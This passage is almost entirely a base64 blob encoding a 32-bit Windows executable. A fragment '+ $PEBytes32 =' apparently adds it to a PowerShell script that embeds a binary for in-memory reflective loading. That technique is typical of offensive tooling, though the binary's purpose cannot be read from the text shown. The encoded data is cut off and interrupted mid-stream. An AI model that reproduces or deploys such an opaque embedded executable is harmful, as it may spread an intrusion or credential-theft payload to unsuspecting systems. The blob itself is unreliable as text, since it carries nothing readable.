UT6BPqk+2z71Phs/Uz8AAABQCwBwAAAAYTKmMoIzAjRXNOg0/DQZNWo1szVwNo42sTa+Nsk2IzeIN8c31jcUOCc4XThpOIE4CjkiOVU5cjm8OWY6ijqTO7c7BzwcPEs8YjyRPK48wjzkPO48LD1IPZA99z0nPtw+jj+7P+g/AAAAYAsAiAAAADowbTCyMFAxgTECNUI1rTXHNdQ1BDYoNjM2QDZSNpo2szY3N0w3VTdeN243gjeIN403kzekNzM4VzijOLc40zhyOo46rjqFO8k70TvZO+E76TsHPA88cTx9PJE8nTypPMk8ED06PUI9Xz1vPXs9ij2OPr8+AT84P1U/aT90P8E/AHALAGwAAABJMLAwZTHZMfYxBjJbMlwzbDN9M4UzlTOmMww0FzQiNCg0MTRzNJ40wzTPNNs07jQNNTg1UDWVNaE1rTW5Ncw18DVwNiU3NzdJN7k3Gjh1OOM4AjkzOYg6wjvdO/M7CTwRPGo/AIALACQAAABtMH4wZjNrM30zmzOvM7UzgTWeNTI3oTfxOgAAAJALAIwAAAA4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2vjYxN9I5PjppOoI67TojOzI7XztoO7w8xDzYPOA8tj27Pc09eT6LPpU+Bj8XPx4/Mz9MP1g/Xz90P3s/gj+MP8g/AAAAoAsARAAAAFMwYzBwMOMw6jDxMPgwBjEMMRwxKzGBMYkxkTGZMbcxvzEhMi0yQTJNMlkyozLNMtUy9zIRMx0zJjMAAACwCwAEAQAABDkUORg5HDkoOSw5MDnsO/g7UDxoPGw8cDx0PHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/AMALABAAAAD8NQA2BDYAAADQCwAQAQAA6DTwNPg0/DQANQQ1CDUMNRA1FDUcNSA1JDUoNSw1MDU0NTg1RDVMNVA1VDVYNVw1cDp0Ong6fDqAOoQ6iDqMOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrIOsw60DrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDskOyg7LDswOzQ7ODs8O0A7RDtIO0w7UDtUO1g7XDtgO2Q7aDtsO3A7dDt4O3w7gDuEO4g7jDuQO5Q7mDucO6A7pDuoO6w7sDu0O7g7vDvAO8Q7yDvMO9A72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPAAAAOALAGwBAAAgOiQ6KDosOpQ6nDqkOqw6tDq8OsQ6zDrUOtw65DrsOvQ6/DoEOww7FDscOyQ7LDs0Ozw7RDtMO1Q7XDtkO2w7dDt8O4Q7jDuUO5w7pDusO7Q7vDvEO8w71DvcO+Q77Dv0O/w7BDwMPBQ8HDwkPCw8NDw8PEQ8TDxUPFw8ZDxsPHQ8fDyEPIw8lDycPKQ8rDy0PLw8xDzMPNQ83DzkPOw89Dz8PAQ9DD0UPRw9JD0sPTQ9PD1EPUw9VD1cPWQ9bD10PXw9hD2MPZQ9nD2kPaw9tD28PcQ9zD3UPdw95D3sPfQ9/D0EPgw+FD4cPiQ+LD40Pjw+RD5MPlQ+XD5kPmw+dD58PoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwDwCwCIAQAABDAMMBQwHDAkMCwwNDA8MEQwTDBUMFwwZDBsMHQwfDCEMIwwlDCcMKQwrDC0MLwwxDDMMNQw3DDkMOww9DD8MAQxDDEUMRwxJDEsMTQxPDFEMUwxVDFcMWQxbDF0MXwxhDGMMZQxnDGkMawxsDu4O8A7yDvQO9g74DvoO/A7+DsAPAg8EDwYPCA8KDwwPDg8QDxIPFA8WDxgPGg8cDx4PIA8iDyQPJg8oDyoPLA8uDzAPMg80DzYPOA86DzwPPg8AD0IPRA9GD0gPSg9MD04PUA9SD1QPVg9YD1oPXA9eD2APYg9kD2YPaA9qD2wPbg9wD3IPdA92D3gPeg98D34PQA+CD4QPhg+ID4oPjA+OD5APkg+UD5YPmA+aD5wPng+gD6IPpA+mD6gPqg+sD64PsA+yD7QPtg+4D7oPvA++D4APwg/ED8YPyA/KD8wPzg/QD9IP1A/WD9gP2g/cD94P4A/iD+QP5g/oD+oP7A/uD/AP8g/0D/YP+A/6D/wP/g/AAAMAMQAAAAAMAgwEDAYMCAwKDAwMDgwQDBIMFAwWDBgMGgwcDB4MIAwiDCQMJgwoDCoMLAwuDDAMMgw0DDYMOAw6DDwMPgwADEIMRAxGDEgMSgxMDE4MUAxSDFQMVgxYDFoMXAxeDGAMYgxkDGYMaAxqDGwMbgxwDHIMdAx2DHgMegx8DH4MQAyCDIQMhgyIDIoMjAyODJAMkgyUDJYMmAyaDJwMngygDKIMpAymDKgMqgysDK4MsAyyDK6PL48wjzGPAAQDADIAAAAVDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0N7A9uD3YPeQ98D38PQg+FD5kPmg+bD5wPnQ+eD58PoA+hD6IPow+kD6UPpg+nD6gPqg+sD64PsA+yD7QPtg+4D7oPvA++D4APwg/ED8YPyA/KD8wPzg/QD9IP1A/WD9gP2g/cD94P4A/iD+QP5g/oD+oP7A/uD/AP8g/0D/YP+A/6D/wP/g/ACAMAGgCAAAAMAgwEDAUMBgwHDAgMCQwKDAsMDAwNDA4MDwwQDBEMEgwTDBQMFQwWDBcMGAwZDBoMHAwdDB4MHwwgDCEMIgwjDCQMJQwmDCcMKAwpDCoMKwwsDC0MLgwvDDAMMgw0DDYMOAw6DDwMPgwADIEMggyDDIQMhQyHDIkMjAyODJAMkgyUDJYMmAyaDJwMngygDKIMpAymDKgMqgysDK4MsAyxDLIMswy0DLUMtgy3DLgMuQy6DLsMvAy9DL4MvwyADMEMwgzDDMQMxQzGDMcMyAzKDMwMzgzQDNIM1AzWDNgM2gzcDN4M4AziDOQM5gzoDOoM7AzuDPAM8gz0DPYM+Az6DPwM/gzADQINBA0GDQgNCg0MDQ4NEA0SDRQNFg0YDRoNHA0eDSANIg0kDSYNKA0qDSwNLg0wDTINNA02DTgNOg08DT4NAA1CDUQNRg1IDUoNTA1ODVANUg1UDVYNWA1aDVwNXg1gDWINZA1mDWgNag1sDW4NcA1yDXQNdg14DXoNfA1+DUANgg2EDYYNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2TDhQOFQ4WDhcOHA4oDikOKg4rDiwOLQ4uDi8OMA4xDjIOMw40DjUONg43DjoOPQ4ADkMORg5JDkwOTw5SDlUOWA5bDl4OYQ5kDmcOag5tDnAOcw51DlkOmw6dDp4Onw6gDqEOog6jDqQOqQ6qDqsOrA6uDq8OsA6xDrYOgg7+Dv8OwA8CDwYPFA9VD1YPVw9cD3kPaQ/qD+sP7A/tD/IPwAwDACcAAAAYDBkMGgwbDCAMFAxVDFYMVwxcDHoMdA81DzYPNw88DxMPVw9ZD1oPWw9cD14PYg9ED4UPhg+HD4gPiQ+KD4sPjA+ND44Pjw+QD5EPkg+TD5QPlQ+XD5gPmQ+aD58PoA+hD6IPow+kD6UPpg+nD6gPqQ+qD6sPrA+tD64Prw+wD7EPsg+zD7QPtQ+QD9EP0g/TD9gPwBADACMAAAAKDAsMDAwNDA8MEgweDB8MBgyHDIgMiQyODJYNVw1YDVkNWg1bDVwNXQ1eDV8NYA1kDWgNbA1wDXQNeA18DUANhA2IDYwNtQ62DrcOuA65DroOuw68Dr0Ovg6/DoAOwQ7CDsMOyA73DzgPBw9LD0wPTQ9OD08PUA9RD1MPVg9gD+EPwAAAFAMAGwAAABwM3QzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6gzrDO0M7gzvDPAM8QzzDPUM9gz3DPgMzw0QDRENEg0TDTQN+A3oDykPKg8sDy0PLg8vDzAPMQ8yDz4PPw8AD0EPQg9DD10PgAAAGAMAOACAACMMJAwlDCYMJwwoDDkMPwwFDEsMUQxXDFwMXQxeDF8MYAxhDGIMYwxkDGUMZgxnDGgMaQxqDGwMfwxDDKQMpQymDKcMqAypDKoMqwysDK0MrgyvDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzEDMUMxgzHDMgMyQzKDMsMzAzNDM4MzwzQDNEM0gzkDSUNJg0nDSgNMw00DTUNNg03DTgNOQ06DTsNPA09DT4NPw0ADUENQg1DDUQNRQ1GDUcNSA1JDUsODA4NDg4OJg4oDioOLA4uDjEOMg4zDjQONQ42DjcOOA45DjoOOw48Dj0OPg4/DgAOQQ5CDmwObg5vDnAOcQ5yDnMOdA51DnYOdw54DnkOeg57DnwOfQ5+Dn8OQA6BDoIOhw6IDokOig6LDpAOkQ6SDpMOlA6VDpYOlw6YDpkOmg6bDpwOnQ6eDqAOoQ6iDqMOpQ6mDqcOqA6pDqoOrA6tDq4Orw6wDrEOsg6zDrQOtQ64DrkOug67DrwOvQ6+Dr8OgA7BDsIOww7EDsUOxg7HDsgOyQ7KDssOzQ7QDtEO0g7TDtQO1Q7WDtcO2A7ZDtoO2w7cDt0O3g7fDuAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO7Q7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNQ82DzcPOA85DzoPOw88Dz0PPg8/DwAPQQ9CD0MPRA9FD0YPRw9ID0kPSg9LD0wPTQ9OD08PUA9RD1IPUw9UD1UPVg9XD1gPWQ9aD1sPXQ9eD18PZA9oD3EPdQ94D3oPfA9+D0APgg+ED4YPgBwDACIAAAAkDKgMrAywDLQMuAy8DIAMxAzIDMwM0AzUDNgM3AzgDOQM6AzsDPAM9Az4DPwMwA0EDQgNDA0QDRQNGA0cDSANJA0oDSwNMA00DTgNPA0ADUQNSA1MDVANVA1YDVwNYA1kDWgNbA1wDXQNeA18DUANhA2IDYwNkA2UDZgNnA2AAAAgAwAPAAAAMA1xDXINcw10DXUNdg13DXgNeQ16DXsNfA19DX4Nfw1ADYENgg2DDYQNhQ2GDYcNiA2AAAAkAwADAAAAIg+mD4AoAwAHAUAALAwtDC4MLwwwDDEMMgwzDDQMNQw2DDcMOAw5DDoMOww8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxIDEkMSgxLDEwMTQxODE8MUAxRDFIMUwxUDFUMVgxXDFgMWQxaDFsMXAxdDF4MXwxgDGEMYgxjDGQMZQxmDGcMaAxpDGoMawxsDG0MbgxvDHAMcQxyDHMMdAx1DHYMdwx4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKMMpAylDKYMpwyoDKkMqgyrDKwMrQyuDK8MsAyxDLIMswy0DLUMtgy3DLgMuQy6DLsMvAy9DL4MvwyADMEMwgzDDMQMxQzGDMcMyAzJDMoMywzMDM0MzgzPDNAM0QzSDNMM1AzVDNYM1wzYDOgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DToNOw08DT0NPg0/DQANRA1FDUYNRw1JDUsNTA1NDU4NTw1QDVENUg1TDVQNVQ1WDVcNWA1ZDVoNWw1cDV0NXg1fDWANYQ1iDWMNZA1lDWYNZw1oDWkNag1rDWwNbQ1uDW8NcA1xDXINcw10DXUNdg13DXgNeQ16DXsNfA19DX4Nfw1ADYENgg2DDYQNhQ2GDYcNiA2JDYoNiw2MDY0Njg2PDZANkQ2SDZMNlA2VDZYNlw2YDZkNmg2bDZwNnQ2xDbINsw21DbYNtw2+DYQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDeYN5w3qDesN7A3tDe4N7w3wDfEN8g3zDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAOAQ4CDgMOBA4FDgYOBw4IDgkOCg4LDgwODQ4ODg8OEA4RDhIOFQ4WDhcOJA4lDiYOJw40DjUONg43DjgOOQ46DjsOPA49Dj4OPw4ADkEOQg5DDkQORw5IDkkOTw5QDlMOVg5XDlgOWg5bDlwOXg5fDmAOYg5jDmQOZg5nDmgOaQ5qDmsObA5tDm4Obw5wDnEOcg5zDnQOdQ52DncOeA55DnoOew58Dn0Ofg5/DkAOgQ6CDoMOhA6FDoYOhw6IDokOig6LDo0Ojg6QDpEOkg6TDpQOlQ6WDpcOmg6dDp4OoA6iDqMOpA6mDqcOqg6rDq4Orw6yDrMOtA62DrcOuA66DrsOvA6+Dr8Ogg7DDsYOxw7KDssOzg7PDtIO0w7WDtcO2g7bDt4O3w7iDuMO5A7mDucO6A7qDusO7A7tDvAO8w71DvcO/A79DswPDQ8ODw8PEA8RDyMPJA8lDyYPJw8oDykPKg8sDy0PLg8vDzAPMQ8yDzMPNA81DzYPNw84DzkPOg87DzwPPQ8+Dz8PAA9BD0IPQw9FD1QPVQ9WD1cPWA9ZD1oPWw9cD10PXg9fD2APYQ9iD2MPZA9lD2YPZw9oD2oPaw9tD24Pbw9wD3EPcg9zD3QPdQ92D3cPeA95D3oPew98D30Pfw9AD4IPgw+FD4YPkA+eD58PoA+hD6IPow+yD7cPuA+7D78PiA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3g/fD+EP4g/kD+UP5w/oD+oP6w/tD+4P8A/xD/MP9A/2D/cP+Q/6D/wP/Q//D8AsAwA8AMAAAAwCDAMMBQwGDAgMCQwQDBEMOAwADEEMRAxHDEgMSwxODE8MUAxRDFIMUwxUDFUMVgxXDFgMWQxaDFsMXAxdDF4MXwxgDGEMYgxjDGQMZQxmDGcMaAxpDGoMawxsDG0MbgxvDHAMcQxyDHMMdAx1DHYMdwx4DHkMegx7DHwMfQx+DH8MQAyBDIIMhQyIDIkMigyLDIwMjQyODI8MkAyRDJIMkwyUDJUMlgyXDJgMmQyaDJsMnAydDJ4MnwygDKEMogyjDKQMpQymDKcMqAypDKoMqwysDK0MrgyvDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzEDMUMxgzHDMgMyQzKDM0M0AzRDNIM0wzUDNUM1gzXDNgM2QzaDNsM3AzdDN4M3wzgDOEM4gzjDOQM5QzmDOcM6AzpDOoM6wzsDO4M7wzxDPIM9Qz9DP4M/wzADQENAg0FDQYNBw0IDQkNCw0MDQ4NDw0RDRINFA0VDRcNGA0aDRsNHQ0eDSANIQ0jDSQNJg0nDSkNKg0sDS0NMA0xDTINAg1DDUQNRQ1GDUcNSA1JDUoNSw1MDU0NTg1PDVANUQ1SDVMNVA1VDVYNVw1YDVkNWg1bDVwNXQ1eDV8NYA1hDWINYw1kDWcNag1rDWwNbQ1uDW8NcA1xDXINdA13DXgNew1+DX8NQA2BDYINgw2EDYUNhg2HDYgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2gDaENog2jDaQNpQ2mDacNqA2pDaoNqw2sDa0Nrg2vDbANsQ2yDbUNuA25DboNuw28Db0Nvg2/DYANwQ3CDcMNxA3FDcYNxw3IDckNyg3LDcwNzQ3ODc8N0A3RDdIN0w3UDdUN1g3XDdgN2Q3aDdsN3A3dDd4N3w3gDeEN4g3lDegN6Q3qDesN7A3tDe4N7w3wDfEN8g3zDfQN9Q32DfgN+Q37DfwN/Q3+Df8NwA4JDgoODQ4ODg8OEA4RDhIOEw4UDhUOHA4iDigOLg4vDjQONQ46DjsOAA5BDkIOQw5GDkkOSg5LDlAOUQ5SDlMOVA5VDlYOVw5YDlkOWg5bDlwOXQ5eDl8OYA5hDmIOYw5kDmUOZg5nDmgOaQ5qDmsObA5tDm4Obw5+Dn8OQA6BDoIOgw6EDoUOhw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrIOsw60DrUOtg63DrgOuQ66DrwOvQ6+Dr8OgA7BDsMO0g7UDtYO2A7ZDtoO2w7dDuAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO7Q7uDvAO8Q72DsAwAwA4AAAAOAz5DPoM+wz9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0eDR8NIA0hDSINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DToNOw08DT0NPg0/DQANQQ1CDUMNRA1FDUYNRw1IDUkNSg1LDUwNTQ1ODU8NUA1RDVINUw1UDVUNVg1XDWUNpg26DYQOxQ7GDscO+Q77DvwO/Q7CDwMPABgEQDsAAAA1DrYOuA65DrsOvA6/DoAOww7EDscOyA7LDswOzw7QDtMO1A7XDtgO2w7cDt8O4A7jDuQO5w7oDusO7A7vDvAO8w70DvcO+A77DvwO/w7ADwMPBA8HDwgPCw8MDw8PEA8TDxQPFw8YDxsPHA8fDyAPIw8kDycPKA8rDywPLw8wDzMPNA83DzgPOw88Dz8PAA9DD0QPRw9ID0sPTA9PD1APUw9UD1cPWA9bD1wPZA9sD28PdQ92D30Pfg9FD4YPjg+WD54PoQ+oD7APuA+AD8IPww/KD9EP0g/aD+IP6g/yD/oPwAAAHARADQAAAAIMCgwSDBoMIgwqDDIMOgwCDEoMUgxaDGIMagxyDHoMQgyJDIoMkQySDIAAACwEQCsAAAAADEwMUAxUDFgMXAxiDGUMZgxnDG4Mbwx+DEYNyg3LDcwNzQ3ODc8N0A3RDdIN0w3WDdcN2A3ZDdoN2w3cDd0N/Q4JDk0OTw5QDlMOWA6iDqQOsQ6zDoAOwg7WDtgO5Q7nDsYPCA8VDxcPJA8mDzMPNQ8CD0QPUQ9TD2APYg9yD3QPQQ+DD5APkg+dD54Pnw+gD6EPog+kD5YP2A/lD+cP9A/2D8AwBEAzAAAAAwwFDBIMFAwhDCMMMAwyDD8MAQxODFAMXQxfDGwMbgxCDIQMkgyUDKEMowywDLIMvwyBDM4M0AzcDMoNDA0iDTENAA1PDV4Nbg1wDX0Nfw1bDaANpQ2qDawNuQ27DYgNyg3XDdkNwg4EDhEOEw4gDiIOLw4xDj4OAA5WDmUOdA5DDp4OrQ6+Do0O3A7rDvoOyQ8WDxkPJA8lDzYPNw85DwYPVQ9kD3MPQg+RD6IPrw+wD7IPvg+ND9wP7A/vD/cP+g/AAAA0BEAiAEAACgwZDCgMNwwGDFUMZAxzDEIMkQySDJQMngyfDKEMqQyqDKwMtgyGDNUM1gzYDOAM4QzjDO4M/QzMDRsNLA0tDS8NPg0NDVwNaw16DUkNnQ2fDaENow2sDbANtg26DYANxA3KDc4N1A3YDd4N4g3oDewN8g32DfwNwA4GDgoOEA4UDhoOHg4kDigOLg4yDjwOAg5DDkQORg5MDlAOWg5gDmEOYg5kDmoObg50DngOfg5CDogOjA6SDpYOnA6gDqYOqg6wDrQOug6+DoQOyA7ODtIO2A7cDuIO5g7sDvAO9g76DsAPBA8KDw4PFA8YDx4PIg8oDywPMg82DzwPAA9GD0oPUA9UD1oPXg9kD2gPbg9yD3gPeQ96D3sPfA9CD4MPhA+FD4YPjA+ND44Pjw+QD5YPlw+YD5kPmg+gD6EPog+jD6QPqg+rD6wPrQ+uD7QPtQ+2D7cPuA+8D74Pgg/GD8gPzA/QD9IP1g/gD+oP8A/0D/oP+w/8D/0P/g//D8AAADgEQC8AgAAADAEMAgwDDAQMBQwGDAcMCAwJDAoMCwwODBAMFAwYDBoMHgwiDCQMKAwsDC4MMgw2DDgMPAwCDEYMTAxQDFYMWgxgDGEMYgxjDGQMagxrDGwMbQxuDHQMdQx2DHcMeAx+DH8MQAyBDIIMiAyJDIoMiwyMDJIMkwyUDJUMlgycDJ0MngyfDKAMpgynDKgMqQyqDLAMsQyyDLMMtAy6DLsMvAy9DL4MhAzFDMYMxwzIDM4MzwzQDNEM0gzYDNkM2gzbDNwM4gzjDOQM5QzmDOwM7QzuDO8M8Az2DPcM+Az5DPoM+wz8DP0M/gz/DMANAQ0CDQMNBA0FDQYNBw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0gDSENIw0mDSkNKg0sDS0NLw0wDTINMw01DTYNOA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+ $PEBytes32 = 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